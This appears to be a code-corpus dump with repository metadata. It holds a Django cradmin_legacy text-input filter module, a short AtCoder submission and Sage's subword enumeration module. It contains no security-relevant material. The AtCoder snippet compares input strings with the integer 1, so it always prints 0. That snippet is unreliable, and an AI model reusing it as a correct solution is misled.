"BSD-3-Clause"
] | 1 | 2018-07-23T22:13:45.000Z | 2018-07-23T22:13:45.000Z | from django.utils.translation import gettext_lazy, pgettext, pgettext_lazy
from cradmin_legacy.viewhelpers.listfilter.base.abstractfilter import AbstractFilter
class AbstractInputFilter(AbstractFilter):
"""
Abstract base class for any filter that uses a single text input field.
"""
template_name = 'cradmin_legacy/viewhelpers/listfilter/django/single/textinput/base.django.html'
#: The text used in URLs as placeholder for the value of this filter.
#: The AngularJS directive replaces this with the actual value.
#: You should not have to override this.
urlpattern_replace_text = '_-_TEXTINPUT_-_VALUE_-_'
def get_input_html_element_type(self):
"""
Get the ``type``-attribute of the input HTML element.
Defaults to ``"text"``.
"""
return 'text'
def get_input_html_element_pattern(self):
"""
Get the ``pattern`` attribute of the input HTML element.
Defaults to ``None``. If this returns a value that
is ``bool(value) == False``, the pattern attribute is
not added to the input HTML element.
"""
return None
def get_base_css_classes_list(self):
css_classes = super(AbstractInputFilter, self).get_base_css_classes_list()
css_classes.append('cradmin-legacy-listfilter-filter-single-input')
return css_classes
def get_placeholder(self):
"""
Get the placeholder text for the input element.
Defaults to empty string.
"""
return ''
def get_inputfield_value(self):
return self.get_cleaned_value() or ''
def get_urlpattern(self):
"""
Get the URL pattern to use when the input value is a non-empty string.
You should not need to override this.
"""
return self.build_set_values_url(values=[self.urlpattern_replace_text])
def get_emptyvalue_url(self):
"""
Get the URL to use when the input value is an empty string.
You should not need to override this.
"""
return self.build_clear_values_url()
def get_timeout_milliseconds(self):
"""
Get the number of milliseconds to wait until applying the change
when users modify the input field.
When users hit enter or focus away from the field, search is
done instantly, so this is only the delay to wait while
users are typing (live search).
"""
return 500
def get_angularjs_options_dict(self):
options_dict = super(AbstractInputFilter, self).get_angularjs_options_dict()
options_dict['timeout_milliseconds'] = self.get_timeout_milliseconds()
options_dict['urlpattern_replace_text'] = self.urlpattern_replace_text
return options_dict
class IntInputFilterMixin(object):
"""
Mixin class that can be used with a subclass of
:class:`.AbstractInputFilter` to provide int input
instead of text.
Must be mixed in **before** :class:`AbstractInputFilter`.
"""
def get_cleaned_value(self):
"""
Get the value as an ``int``, or ``None`` (if no value is provided).
"""
cleaned_value = super(IntInputFilterMixin, self).get_cleaned_value()
if cleaned_value in (None, ''):
return None
try:
return int(cleaned_value)
except ValueError:
return None
def get_placeholder(self):
return pgettext_lazy('listfilter IntInputFilterMixin', 'Type a number ...')
class AbstractSearch(AbstractInputFilter):
"""
Abstract search filter.
Subclasses only need to implement
:meth:`cradmin_legacy.viewhelpers.listfilter.base.abstractfilter.AbstractFilter.filter`.
See :class:`cradmin_legacy.viewhelpers.listfilter.django.single.textinput.Search`
for a Django ORM implementation.
"""
def get_base_css_classes_list(self):
css_classes = super(AbstractSearch, self).get_base_css_classes_list()
css_classes.append('cradmin-legacy-listfilter-filter-single-input-search')
return css_classes
def get_placeholder(self):
return gettext_lazy('Search ...')
def get_loadingmessage(self):
return pgettext('listfilter loading message', 'Searching')
| 33.186047 | 100 | 0.673908 | 522 | 4,281 | 5.350575 | 0.275862 | 0.030075 | 0.025063 | 0.048693 | 0.305406 | 0.277837 | 0.240602 | 0.157537 | 0.128894 | 0.128894 | 0 | 0.000925 | 0.242467 | 4,281 | 128 | 101 | 33.445313 | 0.860315 | 0.364634 | 0 | 0.208333 | 0 | 0 | 0.14071 | 0.092276 | 0 | 0 | 0 | 0 | 0 | 1 | 0.291667 | false | 0 | 0.041667 | 0.083333 | 0.770833 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
90a5e1215be8d675f58028e2b50f5124f8133bdd | 103 | py | Python | jp.atcoder/abc081/abc081_a/8081239.py | kagemeka/atcoder-submissions | 91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e | [
"MIT"
] | 1 | 2022-02-09T03:06:25.000Z | 2022-02-09T03:06:25.000Z | jp.atcoder/abc081/abc081_a/8081239.py | kagemeka/atcoder-submissions | 91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e | [
"MIT"
] | 1 | 2022-02-05T22:53:18.000Z | 2022-02-09T01:29:30.000Z | jp.atcoder/abc081/abc081_a/8081239.py | kagemeka/atcoder-submissions | 91d8ad37411ea2ec582b10ba41b1e3cae01d4d6e | [
"MIT"
] | null | null | null | ls = list(input().split())
count = 0
for l in ls:
if l == 1:
count += 1
print(count)
| 14.714286 | 27 | 0.485437 | 17 | 103 | 2.941176 | 0.705882 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.044776 | 0.349515 | 103 | 6 | 28 | 17.166667 | 0.701493 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.166667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
90aa323d986c6514e0e11d4bac09f4f514d6e494 | 15,993 | py | Python | src/sage/combinat/subword.py | hsm207/sage | 020bd59ec28717bfab9af44d2231c53da1ff99f1 | [
"BSL-1.0"
] | 1,742 | 2015-01-04T07:06:13.000Z | 2022-03-30T11:32:52.000Z | src/sage/combinat/subword.py | Ivo-Maffei/sage | 467fbc70a08b552b3de33d9065204ee9cbfb02c7 | [
"BSL-1.0"
] | 66 | 2015-03-19T19:17:24.000Z | 2022-03-16T11:59:30.000Z | src/sage/combinat/subword.py | dimpase/sage | 468f23815ade42a2192b0a9cd378de8fdc594dcd | [
"BSL-1.0"
] | 495 | 2015-01-10T10:23:18.000Z | 2022-03-24T22:06:11.000Z | r"""
Subwords
A subword of a word `w` is a word obtained by deleting the letters at some
(non necessarily adjacent) positions in `w`. It is not to be confused with the
notion of factor where one keeps adjacent positions in `w`. Sometimes it is
useful to allow repeated uses of the same letter of `w` in a "generalized"
subword. We call this a subword with repetitions.
For example:
- "bnjr" is a subword of the word "bonjour" but not a factor;
- "njo" is both a factor and a subword of the word "bonjour";
- "nr" is a subword of "bonjour";
- "rn" is not a subword of "bonjour";
- "nnu" is not a subword of "bonjour";
- "nnu" is a subword with repetitions of "bonjour";
A word can be given either as a string, as a list or as a tuple.
As repetition can occur in the initial word, the subwords of a given words is
not a set in general but an enumerated multiset!
.. TODO::
- implement subwords with repetitions
- implement the category of EnumeratedMultiset and inheritate from
when needed (i.e. the initial word has repeated letters)
AUTHORS:
- Mike Hansen: initial version
- Florent Hivert (2009/02/06): doc improvements + new methods + bug fixes
"""
#*****************************************************************************
# Copyright (C) 2007 Mike Hansen <mhansen@gmail.com>,
# 2014 Vincent Delecroix <20100.delecroix@gmail.com>,
#
# Distributed under the terms of the GNU General Public License (GPL)
#
# This code is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# The full text of the GPL is available at:
#
# http://www.gnu.org/licenses/
#*****************************************************************************
import itertools
from sage.structure.parent import Parent
from sage.categories.finite_enumerated_sets import FiniteEnumeratedSets
import sage.arith.all as arith
import sage.misc.prandom as prandom
from sage.rings.integer import Integer
from sage.sets.finite_enumerated_set import FiniteEnumeratedSet
def _stringification(data):
r"""
TESTS::
sage: from sage.combinat.subword import _stringification
sage: _stringification(['a','b','c'])
'abc'
"""
return ''.join(data)
def Subwords(w, k=None, element_constructor=None):
"""
Return the set of subwords of ``w``.
INPUT:
- ``w`` -- a word (can be a list, a string, a tuple or a word)
- ``k`` -- an optional integer to specify the length of subwords
- ``element_constructor`` -- an optional function that will be used
to build the subwords
EXAMPLES::
sage: S = Subwords(['a','b','c']); S
Subwords of ['a', 'b', 'c']
sage: S.first()
[]
sage: S.last()
['a', 'b', 'c']
sage: S.list()
[[], ['a'], ['b'], ['c'], ['a', 'b'], ['a', 'c'], ['b', 'c'], ['a', 'b', 'c']]
The same example using string, tuple or a word::
sage: S = Subwords('abc'); S
Subwords of 'abc'
sage: S.list()
['', 'a', 'b', 'c', 'ab', 'ac', 'bc', 'abc']
sage: S = Subwords((1,2,3)); S
Subwords of (1, 2, 3)
sage: S.list()
[(), (1,), (2,), (3,), (1, 2), (1, 3), (2, 3), (1, 2, 3)]
sage: w = Word([1,2,3])
sage: S = Subwords(w); S
Subwords of word: 123
sage: S.list()
[word: , word: 1, word: 2, word: 3, word: 12, word: 13, word: 23, word: 123]
Using word with specified length::
sage: S = Subwords(['a','b','c'], 2); S
Subwords of ['a', 'b', 'c'] of length 2
sage: S.list()
[['a', 'b'], ['a', 'c'], ['b', 'c']]
An example that uses the ``element_constructor`` argument::
sage: p = Permutation([3,2,1])
sage: Subwords(p, element_constructor=tuple).list()
[(), (3,), (2,), (1,), (3, 2), (3, 1), (2, 1), (3, 2, 1)]
sage: Subwords(p, 2, element_constructor=tuple).list()
[(3, 2), (3, 1), (2, 1)]
"""
if element_constructor is None:
datatype = type(w) # 'datatype' is the type of w
if datatype is list or datatype is tuple:
element_constructor = datatype
elif datatype is str:
element_constructor = _stringification
else:
from sage.combinat.words.words import Words
try:
alphabet = w.parent().alphabet()
element_constructor = Words(alphabet)
except AttributeError:
element_constructor = list
if k is None:
return Subwords_w(w, element_constructor)
if not isinstance(k, (int, Integer)):
raise ValueError("k should be an integer")
if k < 0 or k > len(w):
return FiniteEnumeratedSet([])
return Subwords_wk(w, k, element_constructor)
class Subwords_w(Parent):
r"""
Subwords of a given word.
"""
def __init__(self, w, element_constructor):
"""
TESTS::
sage: TestSuite(Subwords([1,2,3])).run()
sage: TestSuite(Subwords('sage')).run()
"""
Parent.__init__(self, category=FiniteEnumeratedSets())
self._w = w
self._build = element_constructor
def __eq__(self, other):
r"""
Equality test.
TESTS::
sage: Subwords([1,2,3]) == Subwords([1,2,3])
True
sage: Subwords([1,2,3]) == Subwords([1,3,2])
False
"""
return self.__class__ == other.__class__ and self._w == other._w and self._build == other._build
def __ne__(self, other):
r"""
TESTS::
sage: Subwords([1,2,3]) != Subwords([1,2,3])
False
sage: Subwords([1,2,3]) != Subwords([1,3,2])
True
"""
return not self == other
def __reduce__(self):
r"""
Pickle (how to construct back the object).
TESTS::
sage: S = Subwords((1,2,3))
sage: S == loads(dumps(S))
True
sage: S = Subwords('123')
sage: S == loads(dumps(S))
True
sage: S = Subwords(('a',(1,2,3),('a','b'),'ir'))
sage: S == loads(dumps(S))
True
"""
return (Subwords_w, (self._w, self._build))
def __repr__(self):
"""
TESTS::
sage: repr(Subwords([1,2,3])) # indirect doctest
'Subwords of [1, 2, 3]'
"""
return "Subwords of {!r}".format(self._w)
def __contains__(self, w):
"""
TESTS::
sage: [] in Subwords([1,2,3,4,3,4,4])
True
sage: [2,3,3,4] in Subwords([1,2,3,4,3,4,4])
True
sage: [5,5,3] in Subwords([1,3,3,5,4,5,3,5])
True
sage: [3,5,5,3] in Subwords([1,3,3,5,4,5,3,5])
True
sage: [3,5,5,3,4] in Subwords([1,3,3,5,4,5,3,5])
False
sage: [2,3,3,4] in Subwords([1,2,3,4,3,4,4])
True
sage: [2,3,3,1] in Subwords([1,2,3,4,3,4,4])
False
"""
return smallest_positions(self._w, w) is not False
def cardinality(self):
"""
EXAMPLES::
sage: Subwords([1,2,3]).cardinality()
8
"""
return Integer(1) << len(self._w)
def first(self):
"""
EXAMPLES::
sage: Subwords([1,2,3]).first()
[]
sage: Subwords((1,2,3)).first()
()
sage: Subwords('123').first()
''
"""
return self._build([])
def last(self):
"""
EXAMPLES::
sage: Subwords([1,2,3]).last()
[1, 2, 3]
sage: Subwords((1,2,3)).last()
(1, 2, 3)
sage: Subwords('123').last()
'123'
"""
return self._build(self._w)
def random_element(self):
r"""
Return a random subword with uniform law.
EXAMPLES::
sage: S1 = Subwords([1,2,3,2,1,3])
sage: S2 = Subwords([4,6,6,6,7,4,5,5])
sage: for i in range(100):
....: w = S1.random_element()
....: if w in S2:
....: assert(w == [])
sage: for i in range(100):
....: w = S2.random_element()
....: if w in S1:
....: assert(w == [])
"""
return self._build(elt for elt in self._w if prandom.randint(0,1))
def __iter__(self):
r"""
EXAMPLES::
sage: Subwords([1,2,3]).list()
[[], [1], [2], [3], [1, 2], [1, 3], [2, 3], [1, 2, 3]]
sage: Subwords((1,2,3)).list()
[(), (1,), (2,), (3,), (1, 2), (1, 3), (2, 3), (1, 2, 3)]
sage: Subwords('123').list()
['', '1', '2', '3', '12', '13', '23', '123']
"""
return itertools.chain(*[ Subwords_wk(self._w,i,self._build)
for i in range(len(self._w)+1) ])
class Subwords_wk(Subwords_w):
r"""
Subwords with fixed length of a given word.
"""
def __init__(self, w, k, element_constructor):
"""
TESTS::
sage: S = Subwords([1,2,3],2)
sage: S == loads(dumps(S))
True
sage: TestSuite(S).run()
"""
Subwords_w.__init__(self, w, element_constructor)
self._k = k
def __eq__(self, other):
r"""
Equality test.
TESTS::
sage: Subwords([1,2,3],2) == Subwords([1,2,3],2)
True
sage: Subwords([1,2,3],2) == Subwords([1,3,2],2)
False
sage: Subwords([1,2,3],2) == Subwords([1,2,3],3)
False
"""
return Subwords_w.__eq__(self, other) and self._k == other._k
def __reduce__(self):
r"""
Pickle (how to construct back the object).
TESTS::
sage: S = Subwords('abc',2)
sage: S == loads(dumps(S))
True
sage: S = Subwords(('a',1,'45',(1,2)))
sage: S == loads(dumps(S))
True
"""
return (Subwords_wk, (self._w, self._k, self._build))
def __repr__(self):
"""
TESTS::
sage: repr(Subwords([1,2,3],2)) # indirect doctest
'Subwords of [1, 2, 3] of length 2'
"""
return "{} of length {}".format(Subwords_w.__repr__(self), self._k)
def __contains__(self, w):
"""
TESTS::
sage: [] in Subwords([1, 3, 3, 5, 4, 5, 3, 5],0)
True
sage: [2,3,3,4] in Subwords([1,2,3,4,3,4,4],4)
True
sage: [2,3,3,4] in Subwords([1,2,3,4,3,4,4],3)
False
sage: [5,5,3] in Subwords([1,3,3,5,4,5,3,5],3)
True
sage: [5,5,3] in Subwords([1,3,3,5,4,5,3,5],4)
False
"""
return len(w) == self._k and Subwords_w.__contains__(self,w)
def cardinality(self):
r"""
Returns the number of subwords of w of length k.
EXAMPLES::
sage: Subwords([1,2,3], 2).cardinality()
3
"""
return arith.binomial(Integer(len(self._w)), self._k)
def first(self):
r"""
EXAMPLES::
sage: Subwords([1,2,3],2).first()
[1, 2]
sage: Subwords([1,2,3],0).first()
[]
sage: Subwords((1,2,3),2).first()
(1, 2)
sage: Subwords((1,2,3),0).first()
()
sage: Subwords('123',2).first()
'12'
sage: Subwords('123',0).first()
''
"""
return self._build(self._w[i] for i in range(self._k))
def last(self):
r"""
EXAMPLES::
sage: Subwords([1,2,3],2).last()
[2, 3]
sage: Subwords([1,2,3],0).last()
[]
sage: Subwords((1,2,3),2).last()
(2, 3)
sage: Subwords((1,2,3),0).last()
()
sage: Subwords('123',2).last()
'23'
sage: Subwords('123',0).last()
''
TESTS::
sage: Subwords('123', 0).last() # trac 10534
''
"""
n = len(self._w)
return self._build(self._w[i] for i in range(n-self._k, n))
def random_element(self):
r"""
Return a random subword of given length with uniform law.
EXAMPLES::
sage: S1 = Subwords([1,2,3,2,1],3)
sage: S2 = Subwords([4,4,5,5,4,5,4,4],3)
sage: for i in range(100):
....: w = S1.random_element()
....: if w in S2:
....: assert(w == [])
sage: for i in range(100):
....: w = S2.random_element()
....: if w in S1:
....: assert(w == [])
"""
sample = prandom.sample(self._w, self._k)
if self._build is list:
return sample
return self._build(sample)
def __iter__(self):
"""
EXAMPLES::
sage: Subwords([1,2,3],2).list()
[[1, 2], [1, 3], [2, 3]]
sage: Subwords([1,2,3],0).list()
[[]]
sage: Subwords((1,2,3),2).list()
[(1, 2), (1, 3), (2, 3)]
sage: Subwords((1,2,3),0).list()
[()]
sage: Subwords('abc',2).list()
['ab', 'ac', 'bc']
sage: Subwords('abc',0).list()
['']
"""
if self._k > len(self._w):
return iter([])
iterator = itertools.combinations(self._w, self._k)
if self._build is tuple:
return iterator
else:
return (self._build(x) for x in iterator)
def smallest_positions(word, subword, pos=0):
"""
Return the smallest positions for which ``subword`` appears as a
subword of ``word``. If ``pos`` is specified, then it returns the positions
of the first appearance of subword starting at ``pos``.
If ``subword`` is not found in ``word``, then return ``False``.
EXAMPLES::
sage: sage.combinat.subword.smallest_positions([1,2,3,4], [2,4])
[1, 3]
sage: sage.combinat.subword.smallest_positions([1,2,3,4,4], [2,4])
[1, 3]
sage: sage.combinat.subword.smallest_positions([1,2,3,3,4,4], [3,4])
[2, 4]
sage: sage.combinat.subword.smallest_positions([1,2,3,3,4,4], [3,4],2)
[2, 4]
sage: sage.combinat.subword.smallest_positions([1,2,3,3,4,4], [3,4],3)
[3, 4]
sage: sage.combinat.subword.smallest_positions([1,2,3,4], [2,3])
[1, 2]
sage: sage.combinat.subword.smallest_positions([1,2,3,4], [5,5])
False
sage: sage.combinat.subword.smallest_positions([1,3,3,4,5],[3,5])
[1, 4]
sage: sage.combinat.subword.smallest_positions([1,3,3,5,4,5,3,5],[3,5,3])
[1, 3, 6]
sage: sage.combinat.subword.smallest_positions([1,3,3,5,4,5,3,5],[3,5,3],2)
[2, 3, 6]
sage: sage.combinat.subword.smallest_positions([1,2,3,4,3,4,4],[2,3,3,1])
False
sage: sage.combinat.subword.smallest_positions([1,3,3,5,4,5,3,5],[3,5,3],3)
False
TESTS:
We check for :trac:`5534`::
sage: w = ["a", "b", "c", "d"]; ww = ["b", "d"]
sage: x = sage.combinat.subword.smallest_positions(w, ww); ww
['b', 'd']
"""
pos -= 1
res = [None] * len(subword)
for i in range(len(subword)):
for j in range(pos + 1, len(word) + 1):
if j == len(word):
return False
if word[j] == subword[i]:
pos = j
break
if pos != j:
return False
res[i] = pos
return res
| 29.23766 | 104 | 0.489089 | 2,157 | 15,993 | 3.541493 | 0.130274 | 0.021992 | 0.026312 | 0.064799 | 0.456866 | 0.421914 | 0.385914 | 0.36222 | 0.31889 | 0.2842 | 0 | 0.063019 | 0.33721 | 15,993 | 546 | 105 | 29.291209 | 0.657642 | 0.605077 | 0 | 0.188034 | 0 | 0 | 0.012538 | 0 | 0 | 0 | 0 | 0.001832 | 0 | 1 | 0.205128 | false | 0 | 0.068376 | 0 | 0.538462 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
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